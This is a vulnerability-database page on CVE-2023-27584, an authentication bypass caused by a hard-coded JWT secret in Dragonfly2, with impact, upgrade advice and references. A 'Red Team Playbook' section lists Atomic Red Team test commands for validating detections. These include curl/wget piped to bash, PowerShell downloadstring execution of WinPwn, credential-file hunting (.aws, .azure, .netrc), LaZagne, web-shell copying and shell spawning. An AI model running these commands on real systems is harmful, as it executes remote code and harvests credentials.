CVE-2023-27584
Overview
The vulnerability is an authentication bypass caused by the use of a hard-coded secret key for JWT verification in the Dragonfly2 file distribution system. Specifically, the JWT secret key is statically set to the string "Secret Key," which compromises the integrity of the authentication mechanism. This flaw affects the JWT-based user authentication component within Dragonfly2's P2P file distribution and image acceleration framework.
Vulnerability Description
Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.
Impact
An unauthenticated attacker with network access can generate forged JWT tokens to impersonate any user, including administrators, without needing valid credentials or user interaction. This allows full control over the Dragonfly2 system, enabling unauthorized operations such as modifying or distributing files and images. The vulnerability's CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates it requires no privileges or user interaction, making exploitation straightforward and highly impactful in production environments.
Solution
Users of dragonflyoss Dragonfly2 should upgrade to version 2.0.9 or later, where the hard-coded JWT secret key issue is resolved. The official GitHub advisory (GHSA-hpc8-7wpm-889w) and release notes for v2.0.9 provide detailed patch information and instructions. No workarounds are available, so applying the update is the only effective remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the open-source Dragonfly project stems from the hard-coded secret key used for JSON Web Token (JWT) authentication. JWT is a widely adopted standard for securely transmitting information between parties as a JSON object, allowing for verification of the sender's identity and ensuring that the message has not been altered. However, the reliance on a static secret key undermines the integrity of this authentication mechanism. An attacker who discovers or has knowledge of this key can easily forge valid tokens, effectively bypassing authentication checks. This flaw exposes the system to unauthorized access, enabling attackers to perform actions with the same privileges as legitimate users, including those with administrative rights.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may leverage network sniffing techniques to capture traffic and extract the hard-coded secret key from the application. Alternatively, if the application is deployed in an environment where the source code is accessible, an attacker could directly analyze the code to find the key. Once in possession of the key, the attacker can generate valid JWTs, allowing them to impersonate any user, including administrators. This capability could lead to a range of malicious activities, such as data exfiltration, unauthorized configuration changes, or even the deployment of malicious payloads within the system.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Dragonfly for file distribution and image acceleration. Given the high CVSS score of 9.8, the potential for exploitation is critical. An attacker gaining administrative access could compromise sensitive data, disrupt services, or manipulate system configurations, leading to operational downtime and financial loss. Furthermore, the breach of user data could result in reputational damage and regulatory repercussions, especially if the organization is subject to data protection laws. The risk is compounded by the fact that many organizations may not have robust monitoring or incident response mechanisms in place, making them more vulnerable to such attacks.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the patched version of Dragonfly, which addresses the hard-coded secret key issue. Regularly updating software components is a fundamental practice in cybersecurity, as it helps close known vulnerabilities. Additionally, implementing a robust security posture that includes network segmentation, intrusion detection systems, and continuous monitoring can help identify suspicious activities that may indicate exploitation attempts. Organizations should also conduct regular security audits and code reviews to identify hard-coded secrets and other vulnerabilities in their applications. Educating developers about secure coding practices, including the importance of dynamic secret management, can further reduce the risk of similar vulnerabilities in the future.
In conclusion, the authentication bypass vulnerability in Dragonfly poses a serious threat to organizations utilizing this file distribution and image acceleration system. The ease of exploitation and the potential for significant impact underscore the necessity for immediate action. By upgrading to the latest version and adopting comprehensive security measures, organizations can protect themselves against the risks associated with this vulnerability and enhance their overall cybersecurity posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Linuxfoundation | Dragonfly | All |
cpe:2.3:a:linuxfoundation:dragonfly:*:*:*:*:*:go:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-27584 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/dragonflyoss/Dragonfly2/security/advisories/GHSA-hpc8-7wpm-889w |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9 |